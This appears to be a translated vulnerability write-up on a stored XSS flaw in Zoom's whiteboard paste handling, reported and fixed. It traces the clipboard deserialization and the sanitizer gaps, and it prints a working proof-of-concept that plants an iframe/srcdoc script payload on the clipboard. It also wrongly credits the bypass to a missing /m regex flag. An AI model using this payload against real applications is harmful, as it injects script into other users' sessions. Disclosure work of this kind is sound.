剪贴板事件监听器引发的存储型XSS漏洞分析
作者注:我的新书《从零日漏洞到零日攻击:漏洞研究实战指南》已由No Starch Press出版!🚀
序列化的漏洞点
Zoom白板功能支持用户在共享画布上协作编辑便签、图表和富文本内容。该功能基于JavaScript实现,同时支持Web和原生客户端,这使我能够轻松获取客户端代码。由于应用包含了webpack打包代码的源映射文件,我使用自研的Webpack Exploder工具顺利还原了原始目录结构。
在快速浏览代码并运行CodeQL扫描后,我发现以下函数通过DataTransfer.getData()从剪贴板提取用户数据:
1
2
3
4
5
6
7
8
|
private prepareData(t: DataTransfer | null): ReadData | undefined {
if (!t) return;
return {
html: t.getData(MIME_TYPE.TEXT_HTML),
text: t.getData(MIME_TYPE.TEXT_PLAIN),
files: Array.from(t.files || []),
};
}
|
追踪调用链发现该函数确实源自粘贴事件监听器:
1
2
3
4
5
|
document.addEventListener("paste", this.pasteListener);
...
private pasteListener = (evt: ClipboardEvent) => {
this.pasteWrapper(this.prepareData(evt.clipboardData));
};
|
MDN文档指出,粘贴事件的clipboardData属性是DataTransfer对象实例,其getData(format)函数支持多种数据类型格式,包括text/plain(纯文本)和text/html(序列化HTML数据)。值得注意的是,剪贴板可以包含不同类型的数据集:
1
2
3
|
const dt = event.dataTransfer;
dt.setData("text/html", "Hello there, <strong>stranger</strong>");
dt.setData("text/plain", "Hello there, stranger");
|
应用从剪贴板提取富数据后,通过page.paste()将其添加到页面:
1
2
3
4
5
6
|
private pasteWrapper = async (t?: ReadData) => {
...
await this.read();
...
await page.paste(position);
};
|
read函数将剪贴板数据解析为HTML节点的过程尤为关键:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
private async read() {
let items: ClipboardItems = [];
try {
items = await navigator.clipboard.read();
} catch (err) {
SYSTEM_LOGGER.warn(err);
return;
}
const target = items.pop();
if (!target) return;
const type = target.types[target.types.length - 1];
if (!type) return;
const b = await target.getType(type);
...
if (type === MIME_TYPE.TEXT_HTML) {
const zdcData = await getZDCCopyObjects(b);
if (zdcData) {
data.push(...zdcData.objs);
zdcData.meta && this.updateMeta(zdcData.meta);
} else {
const t = getStringFromHtmlString(await b.text());
t && data.push(this.createTextBox(t));
}
...
}
|
HTML类型数据的反序列化过程如下:
- 将剪贴板数据解析为HTML
- 提取第一个span元素的data-meta属性值
- 验证值是否匹配正则表达式/^<–(zdc-data)(.*)(/zdc-data)–>$/
- 对匹配内容进行Base64解码
- URI解码后解析为{ objs: ZDCCopyObject[]; meta?: ClipTargetMeta }结构
不彻底的净化处理
通过检查协议缓冲区定义,发现白板支持多种项目类型。当新项目通过WebSocket广播时,客户端的createFabricObject函数会将对应React组件插入页面。虽然React默认会净化所有属性,但react-contenteditable依赖项会将html属性传递给dangerouslySetInnerHTML。
开发者虽然使用了严格的DOMPurify配置进行净化:
1
2
3
4
5
6
|
export const sanitizeHTML = (content: string) => {
return DOMPurify.sanitize(content, {
ALLOWED_TAGS: ["b", "i", "div", "br"],
ALLOWED_ATTR: [],
});
};
|
但StickyNote组件中的ContentEditable子组件遗漏了sanitizeHTML处理。虽然开发者通过convertToText函数进行了二次净化:
1
2
3
4
5
|
export const convertToText = (str = "") => {
let value = String(str);
value = value.replace(/<(.*?)>/g, "");
return value;
};
|
但这个正则表达式缺少/m多行标志,导致<script \n>alert()</script \n>这类Payload能够绕过检测。
漏洞利用
最终构造的利用脚本将恶意Payload注入剪贴板:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
var objs = [{
text: "<iframe srcdoc='<script>alert()</script>' \n></iframe\n>",
wireType: 7
}]
function getHtmlString(objs, meta) {
const b = window.btoa(encodeURIComponent(JSON.stringify({objs,meta})));
return `<meta charset="utf-8"><span data-meta="<--(zdc-data)${b}(/zdc-data)-->"></span>`;
}
navigator.clipboard.write([new ClipboardItem({
"text/html": new Blob([getHtmlString(objs, meta)], {type: "text/html"})
})]);
|
时间线
- 7月29日:初次披露
- 8月2日:确认漏洞
- 8月21日:完成修复
经验总结
这个漏洞的特别之处在于:
- 剪贴板作为JavaScript可控的输入渠道
- Payload通过WebSocket传播给其他用户
- 漏洞存在于第三方依赖中,常规CodeQL扫描难以发现
- 多层净化处理仍存在逻辑缺陷
这个案例充分说明,即使是经过多重安全处理的系统,细小的逻辑疏漏仍可能导致严重的安全问题。